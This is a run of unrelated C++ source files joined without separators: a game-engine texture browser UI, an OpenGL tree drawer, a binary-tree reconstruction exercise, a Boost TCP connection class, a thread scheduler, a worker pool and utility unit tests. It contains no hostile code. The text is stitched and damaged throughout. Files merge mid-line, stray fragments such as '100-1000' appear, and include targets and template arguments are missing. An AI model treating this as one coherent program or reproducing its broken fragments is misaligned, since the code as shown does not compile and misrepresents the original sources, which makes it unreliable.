selected = 0; Texture* largest = st->textures[0]; Texture* smallest = st->textures[0]; //gather size of textures in memory upt texture_bytes = 0; for (Texture* t : st->textures) { texture_bytes += t->width * t->height * u8size; if (t->width * t->height > largest->width * largest->height) largest = t; if (t->width * t->height < smallest->width * smallest->height) smallest = t; } using namespace UI; AddItemFlags(UIItemType_Header, UIHeaderFlags_NoBorder); SetNextWindowSize(vec2(MAX_F32, MAX_F32)); BeginChild(str8_lit("StorageBrowserUI_Textures"), vec2::ZERO, UIWindowFlags_NoBorder); BeginRow(str8_lit("StorageBrowserUI_Row1"),2, 0, UIRowFlags_AutoSize); RowSetupColumnAlignments({ {1, 0.5}, {0, 0.5} }); TextF(str8_lit("Textures Loaded: %d"), st->textures.count); TextF(str8_lit("Memory Occupied: %lld %cB"), texture_bytes / bytesDivisor(texture_bytes), bytesUnit(texture_bytes)); EndRow(); if (BeginCombo(str8_lit("StorageBrowserUI_Texture_Selection_Combo"), (selected ? str8_from_cstr(selected->name) : str8_lit("select texture")))) { for (Texture* t : st->textures) { if (Selectable(str8_from_cstr(t->name), t == selected)) { selected = t; new_selected = 1; } } EndCombo(); } Separator(9); if (BeginHeader(str8_lit("Stats"))) { BeginRow(str8_lit("StorageBrowserUI_Row2"), 3, 0, UIRowFlags_AutoSize); RowSetupColumnAlignments({ {1, 0.5}, {0, 0.5}, {0.5, 0.5} }); TextF(str8_lit("Largest Texture: %s"), largest->name); if (Button(str8_lit("select"))) { selected = largest; new_selected = 1;} TextF(str8_lit("Smallest Texture: %s"), smallest->name); if (Button(str8_lit("select"))) { selected = smallest; new_selected = 1; } EndRow(); EndHeader(); } Separator(9); if (selected) { BeginRow(str8_lit("StorageBrowserUI_Texture_Selected"), 2, 0, UIRowFlags_AutoSize); RowSetupColumnAlignments({ {0, 0.5}, {0, 0.5} }); u32 texbytes = selected->width * selected->height * u8size; TextF(str8_lit("Name: %s"), selected->name); TextF(str8_lit("Index: %d"), selected->idx); TextF(str8_lit("Width: %d"), selected->width); TextF(str8_lit("Height: %d"), selected->height); TextF(str8_lit("Depth: %d"), selected->depth); TextF(str8_lit("MipMaps: %d"), selected->mipmaps); TextF(str8_lit("Format: %s"), ImageFormatStrings[selected->format - 1].str); TextF(str8_lit("Type: %s"), TextureTypeStrings[selected->type].str); TextF(str8_lit("Filter: %s"), TextureFilterStrings[selected->filter].str); TextF(str8_lit("UV Mode: %s"), TextureAddressModeStrings[selected->uvMode].str); TextF(str8_lit("Memory Used: %lld %cB"), texbytes / bytesDivisor(texbytes), bytesUnit(texbytes)); EndRow(); PushColor(UIStyleCol_WindowBg, 0x073030ff); SetNextWindowSize(vec2(MAX_F32, MAX_F32)); BeginChild(str8_lit("StorageBrowserUI_Texture_ImageInspector"), vec2::ZERO, UIWindowFlags_NoInteract); persist f32 zoom = 300; persist vec2 mpl; persist vec2 imagepos; persist vec2 imageposlatch; persist UIImageFlags flags; vec2 mp = input_mouse_position(); if (Button(str8_lit("Flip x"))) ToggleFlag(flags, UIImageFlags_FlipX); SameLine(); if (Button(str8_lit("Flip y"))) ToggleFlag(flags, UIImageFlags_FlipY); if (new_selected) { zoom = f32(GetWindow()->width) / selected->width ; //imagepos = vec2( // (GetWindow()->width - selected->width) / 2, // (GetWindow()->height - selected->height) / 2 // ); imagepos = vec2::ZERO; } string z = toStr(zoom); Text(str8{(u8*)z.str, (s64)z.count}); if (IsWinHovered()) { SetPreventInputs(); if (DeshInput->scrollY) { f32 val = 10 * DeshInput->scrollY; zoom += zoom / val; //TODO make it zoom to the mouse vec2 imtomp = (mp - GetWindow()->position) - GetWindow()->dimensions / 2; //imagepos -= imtomp.normalized() * val * 4; } if (input_lmouse_pressed()) { mpl = mp; imageposlatch = imagepos; } if (input_lmouse_down()) { imagepos = imageposlatch - (mpl - mp); } } else SetAllowInputs(); SetNextItemSize(vec2(zoom * selected->width, zoom * selected->height)); Image(selected, imagepos, 1, flags); EndChild(); PopColor(); } EndChild(); ResetItemFlags(UIItemType_Header); } void DrawMaterialsWindow(){DPZoneScoped; Storage_* st = DeshStorage; using namespace UI; SetNextWindowSize(vec2(MAX_F32, MAX_F32)); BeginChild(str8_lit("StorageBrowserUI_Materials"), vec2::ZERO, UIWindowFlags_NoBorder); Separator(5); SetNextWindowSize(vec2(MAX_F32, 200)); BeginChild(str8_lit("StorageBrowserUI_Materials_List"), vec2::ZERO, UIWindowFlags_NoInteract); { BeginRow(str8_lit("StorageBrowserUI_Materials_List"), 2, 0, UIRowFlags_AutoSize); RowSetupColumnAlignments({ {1, 0.5}, {0, 0.5} }); forI(st->materials.count) { string s = toStr(i, " "); Text(str8{(u8*)s.str, (s64)s.count}); Text(str8_from_cstr(st->materials[i]->name)); } EndRow(); }EndChild(); Separator(5); EndChild(); } void DrawModelsWindow(){DPZoneScoped; using namespace UI; SetNextWindowSize(vec2(MAX_F32, MAX_F32)); BeginChild(str8_lit("StorageBrowserUIModels"), vec2(MAX_F32, MAX_F32)); Text(str8_lit("TODO")); EndChild(); } void DrawFontsWindow(){DPZoneScoped; using namespace UI; SetNextWindowSize(vec2(MAX_F32, MAX_F32)); BeginChild(str8_lit("StorageBrowserUIFonts"), vec2(MAX_F32, MAX_F32)); Text(str8_lit("TODO")); EndChild(); } void Storage:: StorageBrowserUI() {DPZoneScoped; using namespace UI; PushColor(UIStyleCol_Border, Color_Grey); PushColor(UIStyleCol_Separator, Color_Grey); Begin(str8_lit("StorageBrowserUI"), vec2::ONE * 200, vec2(400, 600)); BeginTabBar(str8_lit("StorageBrowserUITabBar"), UITabBarFlags_NoIndent); Separator(9); PushColor(UIStyleCol_HeaderBg, 0x073030ff); PushColor(UIStyleCol_HeaderBorder, Color_Grey); PushColor(UIStyleCol_WindowBg, Color_VeryDarkGrey); PushColor(UIStyleCol_ScrollBarDragger, Color_DarkGrey); PushColor(UIStyleCol_ScrollBarDraggerHovered, Color_Grey); PushColor(UIStyleCol_ScrollBarDraggerActive, Color_LightGrey); PushColor(UIStyleCol_ScrollBarBg, Color_VeryDarkRed); PushColor(UIStyleCol_ScrollBarBgHovered, Color_Grey); PushColor(UIStyleCol_ScrollBarBgActive, Color_LightGrey); if(BeginTab(str8_lit("Meshes"))) {DrawMeshesWindow(); EndTab();} if(BeginTab(str8_lit("Textures"))) {DrawTexturesWindow(); EndTab();} if(BeginTab(str8_lit("Materials"))){DrawMaterialsWindow(); EndTab();} if(BeginTab(str8_lit("Models"))) {DrawModelsWindow(); EndTab();} if(BeginTab(str8_lit("Fonts"))) {DrawFontsWindow(); EndTab();} EndTabBar(); End(); PopColor(11); } #undef ParseErrorArbol.cpp #include "Arbol.h" Arbol::Arbol() { } void Arbol::DibujarArbol(float x, float y, float z) { glPushMatrix(); glTranslatef(x, y, z); glRotatef(90, 1, 0, 0); glutSolidSphere(0.5, 20, 20); glutSolidCylinder(0.2, 1.0, 20, 20); glPopMatrix(); }// // main.cpp // Offer07 // // Created by wanyakun on 2021/1/7. // /** 剑指 Offer 07. 重建二叉树 输入某二叉树的前序遍历和中序遍历的结果,请重建该二叉树。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。 例如,给出 前序遍历 preorder = [3,9,20,15,7] 中序遍历 inorder = [9,3,15,20,7] 返回如下的二叉树: 3 / \ 9 20 / \ 15 7 限制: 0 <= 节点个数 <= 5000 注意:本题与主站 105 题重复:https://leetcode-cn.com/problems/construct-binary-tree-from-preorder-and-inorder-traversal/ */ #include #include /** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ using namespace std; struct TreeNode { int val; TreeNode *left; TreeNode *right; TreeNode(int x) :val(x), left(NULL), right(NULL) {} }; class Solution { public: TreeNode* buildTree(vector& preorder, vector& inorder) { return build(preorder.begin(), preorder.end(), inorder.begin(), inorder.end()); } TreeNode* build(vector::iterator preBegin, vector::iterator preEnd, vector::iterator inBegin, vector::iterator inEnd) { if(inBegin == inEnd) return NULL; TreeNode* node = new TreeNode(*preBegin); auto root = find(inBegin, inEnd, *preBegin); node->left = build(preBegin+1, preBegin+1+(root-inBegin), inBegin, root); node->right = build(preBegin+1+(root-inBegin), preEnd, root+1, inEnd); return node; } }; int main(int argc, const char * argv[]) { // insert code here... Solution s; vector preorder = {3,9,20,15,7}; vector inorder = {9,3,15,20,7}; TreeNode* res = s.buildTree(preorder, inorder); std::cout << "Hello, World!\n"; return 0; } // -------------------------------------------------------------------------------------------------- // Copyright (c) 2016 Microsoft Corporation // // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and // associated documentation files (the "Software"), to deal in the Software without restriction, // including without limitation the rights to use, copy, modify, merge, publish, distribute, // sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all copies or // substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT // NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // -------------------------------------------------------------------------------------------------- // Local: #include "TCPConnection.h" #include "Logger.h" // Boost: #include using boost::asio::ip::tcp; #define LOG_COMPONENT Logger::LOG_TCP namespace malmo { boost::shared_ptr TCPConnection::create(boost::asio::io_service& io_service, boost::function callback, bool expect_size_header, const std::string& log_name) { return boost::shared_ptr(new TCPConnection(io_service, callback, expect_size_header, log_name) ); } tcp::socket& TCPConnection::getSocket() { return this->socket; } void TCPConnection::confirmWithFixedReply(std::string reply) { this->confirm_with_fixed_reply = true; this->fixed_reply = reply; } void TCPConnection::read() { if( this->expect_size_header ) { this->header_buffer.resize( SIZE_HEADER_LENGTH ); boost::asio::async_read( this->socket, boost::asio::buffer( this->header_buffer ), boost::bind( &TCPConnection::handle_read_header, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred ) ); } else { boost::asio::async_read_until( this->socket, this->delimited_buffer, '\n', boost::bind( &TCPConnection::handle_read_line, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred ) ); } } void TCPConnection::handle_read_header( const boost::system::error_code& error, size_t bytes_transferred) { if( !error ) { LOGTRACE(LT("TCPConnection("), this->log_name, LT(")::handle_read_header("), safe_local_endpoint(), LT("/"), safe_remote_endpoint(), LT(") - bytes_transferred: "), bytes_transferred); const size_t body_size = getSizeFromHeader(); this->body_buffer.resize( body_size ); boost::asio::async_read( this->socket, boost::asio::buffer( this->body_buffer ), boost::bind( &TCPConnection::handle_read_body, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred ) ); } else LOGERROR(LT("TCPConnection("), this->log_name, LT(")::handle_read_header("), safe_local_endpoint(), LT("/"), safe_remote_endpoint(), LT(") - bytes_transferred: "), bytes_transferred, LT(" - ERROR: "), error.message()); } std::string TCPConnection::safe_remote_endpoint() const { boost::system::error_code ec; auto rep = this->socket.remote_endpoint(ec).address(); return ec ? ec.message() : rep.to_string(); } std::string TCPConnection::safe_local_endpoint() const { boost::system::error_code ec; auto rep = this->socket.local_endpoint(ec).address(); return ec ? ec.message() : rep.to_string(); } void TCPConnection::handle_read_body( const boost::system::error_code& error, size_t bytes_transferred) { if (!error) { LOGTRACE(LT("TCPConnection("), this->log_name, LT(")::handle_read_body("), safe_local_endpoint(), LT("/"), safe_remote_endpoint(), LT(") - bytes_transferred: "), bytes_transferred); this->processMessage(); } else LOGERROR(LT("TCPConnection("), this->log_name, LT(")::handle_read_body("), safe_local_endpoint(), LT("/"), safe_remote_endpoint(), LT(") - bytes_transferred: "), bytes_transferred, LT(" - ERROR: "), error.message()); } void TCPConnection::handle_read_line( const boost::system::error_code& error, size_t bytes_transferred) { if (!error) { this->body_buffer.assign( boost::asio::buffers_begin(this->delimited_buffer.data()), boost::asio::buffers_begin(this->delimited_buffer.data()) + bytes_transferred ); this->delimited_buffer.consume(bytes_transferred); this->processMessage(); } else LOGERROR(LT("TCPConnection("), this->log_name, LT(")::handle_read_line("), safe_local_endpoint(), LT("/"), safe_remote_endpoint(), LT(") - bytes_transferred: "), bytes_transferred, LT(" - ERROR: "), error.message()); } void TCPConnection::processMessage() { LOGFINE(LT("TCPConnection("), this->log_name, LT(")::processMessage("), safe_local_endpoint(), LT("/"), safe_remote_endpoint(), LT(") - bytes received: "), this->body_buffer.size()); if (this->confirm_with_fixed_reply) { reply(); } else { deliverMessage(); } } void TCPConnection::reply() { const int REPLY_SIZE_HEADER_LENGTH = 4; this->reply_size_header = htonl((u_long)this->fixed_reply.size()); // Send header and continue after with response body. boost::asio::async_write(this->socket, boost::asio::buffer(&this->reply_size_header, REPLY_SIZE_HEADER_LENGTH), boost::bind(&TCPConnection::transferredHeader, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); } void TCPConnection::transferredHeader(const boost::system::error_code& error, std::size_t bytes_transferred) { if (!error) { // Send body and continue after with message delivery. boost::asio::async_write(this->socket, boost::asio::buffer(this->fixed_reply), boost::bind(&TCPConnection::transferredBody, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); } else { LOGERROR(LT("TCPConnection("), this->log_name, LT(")::transferredHeader - failed to send header of message: "), error.message()); } } void TCPConnection::transferredBody(const boost::system::error_code& error, std::size_t bytes_transferred) { if (!error) { LOGFINE(LT("TCPConnection("), this->log_name, LT(")::transferredBody sent "), bytes_transferred, LT(" bytes")); this->deliverMessage(); } else { LOGERROR(LT("TCPConnection("), this->log_name, LT(")::transferredBody - failed to send body of message: "), error.message()); } } void TCPConnection::deliverMessage() { this->onMessageReceived(TimestampedUnsignedCharVector(boost::posix_time::microsec_clock::universal_time(), this->body_buffer)); this->read(); // Continue on with reading of next request message. } TCPConnection::TCPConnection(boost::asio::io_service& io_service, boost::function callback, bool expect_size_header, const std::string& log_name) : socket(io_service) , onMessageReceived(callback) , confirm_with_fixed_reply(false) , expect_size_header(expect_size_header) , log_name(log_name) { } size_t TCPConnection::getSizeFromHeader() { u_long size_in_network_byte_order = *reinterpret_cast(&(this->header_buffer[0])); u_long size_in_host_byte_order = ntohl(size_in_network_byte_order); return size_in_host_byte_order; } } #undef LOG_COMPONENT #include using namespace std; int main() { ios_base::sync_with_stdio(false); cin.tie(NULL); int t; cin>>t; while(t--) { int k,n,a,b; cin>>n>>a>>b>>k; int lcm = (a*b)/__gcd(a,b); int com = floor(n/lcm); int attemp = floor(n/a)+floor(n/b); int did = attemp-2*com; if(did>=k) cout<<"Win\n"; else cout<<"Lose\n"; } return 0; }src/NetworkLib/src/NetAccept.cpp #include "NetAccept.h" #include "NetProcessor.h" #include "NetVConnection.h" #include "stdafx.h" namespace RSLibImpl { NetAccept::NetAccept() : EventHandler(0), m_NetAcceptAction(0), m_Netvc(0), m_CompletionEvent(0) { return; } NetAccept::~NetAccept() { CleanUp(); } void NetAccept::Setup(NetVConnection * netvc) { MUTEX_LOCK(lock, m_NetAcceptAction->GetPoolMutex()); EventHandler::m_Mutex = netvc->m_Mutex; m_Netvc = netvc; SetHandler ((Handler) &NetAccept::HandleEvent); return; } void NetAccept::CleanUp() { if (m_CompletionEvent) { m_CompletionEvent->Cancel(); m_CompletionEvent = NULL; } if (m_Netvc) { ::closesocket(m_Netvc->m_S); m_Netvc->m_S = INVALID_SOCKET; delete m_Netvc; m_Netvc = NULL; } EventHandler::m_Mutex = NULL; m_NetAcceptAction = NULL; return; } // // NetAccept::setup() // // This function is called on an AcceptEx completion // event. // On a new accept this function will: // - call the instance of NetVConnection for this // connection. // - clear this instance of NetAccept, and reinitialize // it to accept a new connection. // - preserve original accept() configuration, e.g. // 'accept_only' no initial read behavior. int NetAccept::HandleEvent(Event event, void * data) { int lerror; CompletionEvent * completion_event = (CompletionEvent *)data; LogAssert (event == NET_EVENT_ACCEPT_INTERNAL); LogAssert (completion_event == m_CompletionEvent); LogAssert (m_Mutex == m_Netvc->m_Mutex); ///////////////////////////////////////////////////////// // this instance of NetVConnection is still idle, // // and no one other than this instance of NetAccept // // should have a reference to it. Threre for the lock // // should always be acquired. // ///////////////////////////////////////////////////////// if (m_NetAcceptAction->m_Cancelled) { m_CompletionEvent = NULL; return (0); } m_Netvc->HandleEvent(NETVC_ACCEPT_INTERNAL, completion_event); ///////////////////////////////// // clear and re-init AcceptEx. // ///////////////////////////////// NetProcessor *net = m_NetAcceptAction->GetNetProcessor(); net->InitNetAcceptInternal(m_NetAcceptAction, this, &lerror); LogAssert (lerror == 0); return (0); } // // NetAcceptAction::NetAcceptAction() // NetAcceptAction::NetAcceptAction(NetProcessor *np) : Action(), RefCount(), m_NetAcceptPoolSize(0), m_NetAcceptPool(0), m_ListenSocket(0) { memset(&m_ServAddr, '\0', sizeof(m_ServAddr)); m_NetProcessor = np; m_NetAcceptPoolMutex = new MSMutex(); return; } // // NetAcceptAction::NetAcceptAction() // NetAcceptAction::~NetAcceptAction() { delete [] m_NetAcceptPool; Action::m_Mutex = NULL; Debug("net_accept_cancel", "Deleting NetAcceptAction"); return; } // // NetAcceptAction::startup() // void NetAcceptAction::Startup(EventHandler * c, int net_accept_pool_size) { Action::operator = (c); m_NetAcceptPoolSize = net_accept_pool_size; m_NetAcceptPool = new NetAccept[net_accept_pool_size]; for (int i = 0; i < m_NetAcceptPoolSize; i++) { m_NetAcceptPool[i].m_NetAcceptAction = this; } return; } // // NetAcceptAction::cancel() // void NetAcceptAction::Cancel() { Debug("net_accept_cancel", "NetAcceptAction::cancel"); { MUTEX_LOCK(lock, m_Mutex); Action::Cancel(); } // hold on myself to prevent being deleted Ptr holdme = this; for (int i = 0; i < m_NetAcceptPoolSize; i++) { NetAccept* na = &m_NetAcceptPool[i]; while(true) { Ptr mutex = NULL; { MUTEX_LOCK(lock, GetPoolMutex()); mutex = na->GetMutex(); } MUTEX_LOCK(lock2, mutex); Ptr mutex2 = NULL; { MUTEX_LOCK(lock, GetPoolMutex()); mutex2 = na->GetMutex(); } if ((MSMutex*)mutex == (MSMutex*)mutex2) { // nobody has changed the lock - we are safe na->CleanUp(); break; } } } //close the listen port if (m_ListenSocket != INVALID_SOCKET) { closesocket(m_ListenSocket); m_ListenSocket = INVALID_SOCKET; } return; } } // namespace RSLibImpl // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include #include #include #include "mock_tracer_engine.h" MockTracerEngine::MockTracerEngine(std::shared_ptr storageEngine, std::vector targetEvents) : ITracerEngine(storageEngine, targetEvents) { std::default_random_engine generator; std::uniform_real_distribution distribution(100, 9999); auto dice = std::bind(distribution, generator); for (size_t i = 0; i < 1000; ++i) { int foo = (int)std::ceil(dice()); std::stringstream ss; ss << "tel " << foo; MockTelemetry tel { .pid = foo, .stackTrace = {}, .comm = ss.str(), .processName = ss.str() }; _storageEngine->Store(tel); } _storageEngine->Store({ .pid = 101, .stackTrace = {}, .comm = "/usr/bin/local/my.exe", .processName = "my.exe" }); } 100-1000 /* * staticthreadsched.{cc,hh} -- element statically assigns tasks to threads * * * Copyright (c) 2004-2008 Regents of the University of California * Copyright (c) 2004-2014 Click authors * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, subject to the conditions * listed in the Click LICENSE file. These conditions include: you must * preserve this copyright notice, and you cannot mention the copyright * holders in advertising related to the Software without their permission. * The Software is provided WITHOUT ANY WARRANTY, EXPRESS OR IMPLIED. This * notice is a summary of the Click LICENSE file; the license in that file is * legally binding. */ #include #include "staticthreadsched.hh" #include #include #include #include #include #if HAVE_NUMA #include #endif CLICK_DECLS StaticThreadSched::StaticThreadSched() : _next_thread_sched(0) { } StaticThreadSched::~StaticThreadSched() { } bool StaticThreadSched::set_preference(int eindex, int preference) { if (eindex >= _thread_preferences.size()) _thread_preferences.resize(eindex + 1, THREAD_UNKNOWN); _thread_preferences[eindex] = preference; return true; } int StaticThreadSched::configure(Vector &conf, ErrorHandler *errh) { String ename; String c_preference; for (int i = 0; i < conf.size(); i++) { if (Args(this, errh).push_back_words(conf[i]) .read_mp("ELEMENT", ename) .read_mp("THREAD", c_preference) .complete() < 0) return -1; Vector pref = c_preference.split('/'); int preference; if (pref.size() > 1) { int socket; if (!IntArg().parse(pref[0],socket,errh)) return -1; if (!IntArg().parse(pref[1],preference,errh)) return -1; #if HAVE_NUMA Bitvector b((int)click_max_cpu_ids()); auto bc = Numa::node_to_cpus(socket); bc.toBitvector(b); int idx = 0; if (b[idx] && preference == 0) { } else { while (true) { if (b[idx]) { if (preference == 0) break; preference--; } idx++; if (idx >= b.size()) { errh->warning("Socket %d has no usable core %s",socket,pref[1].c_str()); idx = 0; break; } } } preference =idx; #else return errh->error("Syntax SOCKET/CORE is only allowed when Click is compiled with NUMA support"); #endif } else { if (!IntArg().parse(pref[0],preference,errh)) return -1; } if (preference <= -master()->nthreads() || preference >= master()->nthreads()) { errh->warning("thread preference %d out of range", preference); preference = (preference < 0 ? -1 : 0); } bool set = false; if (preference < 0) preference = master()->nthreads() + preference; if (Element* e = router()->find(ename, this)) set = set_preference(e->eindex(), preference); else if (ename) { ename = router()->ename_context(eindex()) + ename + "/"; for (int i = 0; i != router()->nelements(); ++i) if (router()->ename(i).starts_with(ename)) set = set_preference(i, preference); } if (!set) Args(this, errh).error("%<%s%> does not name an element", ename.c_str()); } _next_thread_sched = router()->thread_sched(); router()->set_thread_sched(this); return 0; } Bitvector StaticThreadSched::assigned_thread() { Bitvector v(master()->nthreads(),0); if (_next_thread_sched) { v = _next_thread_sched->assigned_thread(); } for (int i = 0; i < _thread_preferences.size(); i++) { if (_thread_preferences[i] != THREAD_UNKNOWN) { if (v.size() <= _thread_preferences[i]) v.resize(_thread_preferences[i]+1); v[_thread_preferences[i]] = true; } } return v; } int StaticThreadSched::initial_home_thread_id(const Element *e) { int eidx = e->eindex(); if (eidx >= 0 && eidx < _thread_preferences.size() && _thread_preferences[eidx] != THREAD_UNKNOWN) return _thread_preferences[eidx]; if (_next_thread_sched) return _next_thread_sched->initial_home_thread_id(e); else return THREAD_UNKNOWN; } CLICK_ENDDECLS EXPORT_ELEMENT(StaticThreadSched) #include #include #include namespace faabric::executor { FaabricPool::FaabricPool(int nThreads) : _shutdown(false) , scheduler(faabric::scheduler::getScheduler()) , threadTokenPool(nThreads) , stateServer(faabric::state::getGlobalState()) { // Ensure we can ping both redis instances faabric::redis::Redis::getQueue().ping(); faabric::redis::Redis::getState().ping(); } void FaabricPool::startFunctionCallServer() { const std::shared_ptr& logger = faabric::util::getLogger(); logger->info("Starting function call server"); functionServer.start(); } void FaabricPool::startStateServer() { const std::shared_ptr& logger = faabric::util::getLogger(); // Skip state server if not in inmemory mode faabric::util::SystemConfig& conf = faabric::util::getSystemConfig(); if (conf.stateMode != "inmemory") { logger->info("Not starting state server in state mode {}", conf.stateMode); return; } // Note that the state server spawns its own background thread logger->info("Starting state server"); stateServer.start(); } void FaabricPool::startThreadPool(bool background) { const std::shared_ptr& logger = faabric::util::getLogger(); logger->info("Starting worker thread pool"); // Spawn worker threads until we've hit the worker limit, thus creating a // pool that will replenish when one releases its token poolThread = std::thread([this] { const std::shared_ptr& logger = faabric::util::getLogger(); while (!this->isShutdown()) { // Try to get an available slot (blocks if none available) int threadIdx = this->getThreadToken(); // Double check shutdown condition if (this->isShutdown()) { break; } // Spawn thread to execute function poolThreads.emplace_back(std::thread([this, threadIdx] { std::unique_ptr executor = createExecutor(threadIdx); // Worker will now run for a long time try { executor.get()->run(); } catch (faabric::executor::ExecutorPoolFinishedException& e) { this->_shutdown = true; } // Handle thread finishing threadTokenPool.releaseToken(executor.get()->threadIdx); })); } // Once shut down, wait for everything to die logger->info("Waiting for {} worker threads", poolThreads.size()); for (auto& t : poolThreads) { if (t.joinable()) { t.join(); } } // Will die gracefully at this point }); // Block if in foreground if (!background) { poolThread.join(); } } void FaabricPool::reset() { threadTokenPool.reset(); } int FaabricPool::getThreadToken() { return threadTokenPool.getToken(); } int FaabricPool::getThreadCount() { return threadTokenPool.taken(); } bool FaabricPool::isShutdown() { return _shutdown; } void FaabricPool::shutdown() { _shutdown = true; const std::shared_ptr& logger = faabric::util::getLogger(); logger->info("Waiting for the state server to finish"); stateServer.stop(); logger->info("Waiting for the function server to finish"); functionServer.stop(); if (poolThread.joinable()) { logger->info("Waiting for pool to finish"); poolThread.join(); } if (mpiThread.joinable()) { logger->info("Waiting for mpi thread to finish"); mpiThread.join(); } logger->info("Faabric pool successfully shut down"); } } testboxutil/src/main.cpp #include #include #include #include unsigned int test_timestamp(){ unsigned int r {0}; std::string strts; boxutil::GetTimeStampString(strts); testforecho::test_neq(r, "SysTime: Should be able to get timestamp", strts, ""); boxutil::SysTime st1 = boxutil::GetSystemTime(); boxutil::SysTime st2 = st1; testforecho::test_eq(r, "SysTime: Timestamps should match", st1.ToString(), st2.ToString()); return r; } unsigned int test_bytearray(){ unsigned int r {0}; unsigned char testinput[9] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99}; boxutil::ByteArray bar(testinput, sizeof(testinput)); boxutil::ByteArray bar2; bar2 = bar; testforecho::test_eq(r, "ByteArray: Should match", bar.GetHexString(), bar2.GetHexString()); testforecho::test_eq(r, "ByeArray: Size must be 9", bar.GetLength(), static_cast(9)); testforecho::test_eq(r, "ByeArray: Size must not have changed", bar2.GetLength(), static_cast(9)); testforecho::test_false(r, "ByteArray: Must not have changed", bar2.EraseSection(10, 1)); testforecho::test_true(r, "ByteArray: Must have changed", bar2.EraseSection(0, 1)); testforecho::test_eq(r, "ByteArray: Size must be 8", bar2.GetLength(), static_cast(8)); unsigned char p0 = 112; unsigned char p1; bar2.Append(&p0, 1); testforecho::test_false(r, "ByeArray: Should not be able to get last byte", bar.GetByte(9, p1)); testforecho::test_true(r, "ByeArray: Should be able to get last byte", bar2.GetByte(8, p1)); testforecho::test_eq(r, "ByeArray: Last byte should be 112", p1, 112); boxutil::ByteArray bar3; testforecho::test_true(r, "ByeArray: Should be able to get section", bar2.GetSection(0, 3, bar3)); testforecho::test_eq(r, "ByeArray: Hex strings should match", bar3.GetHexString(), "223344"); return r; } unsigned int test_bfl(){ unsigned int r {0}; boxutil::StrVecCont svcTest; testforecho::test_true(r, "BuldFileList: Should be able to make file list", boxutil::BuildFileList("../../testprops/folder", "txt", svcTest)); testforecho::test_eq(r, "BuildFileList: Size should be 3", svcTest.Size(), static_cast(3)); testforecho::test_true(r, "BuildFileList: Should have element", (svcTest.HasElement("one.txt"))); testforecho::test_true(r, "BuildFileList: Should have element", (svcTest.HasElement("two.txt"))); testforecho::test_true(r, "BuildFileList: Should have element", (svcTest.HasElement("three.txt"))); return r; } unsigned int test_strveccont(){ unsigned int r {0}; boxutil::StrVecCont v1, v2; v1.PushBack("first"); v1.PushBack("second"); v2.PushBack("neither"); testforecho::test_false(r, "StrVecCont: Should not match", (v1 == v2)); v2.Clear(); v2.PushBack("first"); v2.PushBack("second"); testforecho::test_true(r, "StrVecCont: Should match", (v1 == v2)); return r; } unsigned int test_logger(){ unsigned int r {0}; std::string logfn = "./debug.txt"; boxutil::ManagedFile mf {logfn}; boxutil::Logger logger(logfn.c_str()); logger.LogInfo("day of the dog"); std::string contents; boxutil::GetFileContents(logfn, contents); testforecho::test_true(r, "Logger: Should be able to log and retrieve", boxutil::ContainsNoCase(contents, "dog")); return r; } unsigned int test_stringmanip(){ unsigned int r {0}; std::string strTeste = "aaa*uuu*bbb"; std::string strOut; testforecho::test_true(r, "StringManip: extremes trim, should be able to extract mid", boxutil::GetStringMidByBoundingChars(strTeste, '*', strOut)); testforecho::test_eq(r, "StringManip: extremes trim", strOut, "uuu"); testforecho::test_eq(r, "StringManip: Should count chars in string", boxutil::CountCharsInString("aaaaazaaaaaaza", 'z'), static_cast(2)); strTeste = "a b c"; testforecho::test_eq(r, "StringManip: Should get next", boxutil::GetNext(strTeste), "a"); testforecho::test_eq(r, "StringManip: Should get next", boxutil::GetNext(strTeste), "b"); testforecho::test_eq(r, "StringManip: Should get next", boxutil::GetNext(strTeste), "c"); testforecho::test_eq(r, "StringManip: Should get next", boxutil::GetNext(strTeste), ""); unsigned char p[1]; p[0] = 112; testforecho::test_eq(r, "StringManip: Should convert from byte buffer to string", boxutil::TxtStrFromBuffer(p, 1), "p"); p[0] = 0xaa; testforecho::test_eq(r, "StringManip: Should convert from byte buffer to hexstring", boxutil::HexStrFromBuffer(p, 1), "AA"); testforecho::test_eq(r, "StringManip: Should be able to pop file extension", boxutil::PopExtension("file.txt"), "file"); testforecho::test_eq(r, "StringManip: Should be able to get file extension", boxutil::GetExtension("file.txt"), "txt"); testforecho::test_eq(r, "StringManip: Should be able to make uppercase", boxutil::MakeUppercase("abc"), "ABC"); testforecho::test_eq(r, "StringManip: Should be able to make lowercase", boxutil::MakeLowercase("ABC"), "abc"); testforecho::test_eq(r, "StringManip: Should be able to compare with no case", boxutil::CompareNoCase("border", "BOrder"), 0); testforecho::test_true(r, "StringManip: Should be able to check for containment", boxutil::ContainsNoCase("border", "or")); testforecho::test_true(r, "StringManip: Should be able to check numeric string", boxutil::IsNumericString("123")); testforecho::test_true(r, "StringManip: Should be able to check alphanumeric string", boxutil::IsAlpha("abc")); testforecho::test_true(r, "StringManip: Should be able to check alphanumeric(ext) string", 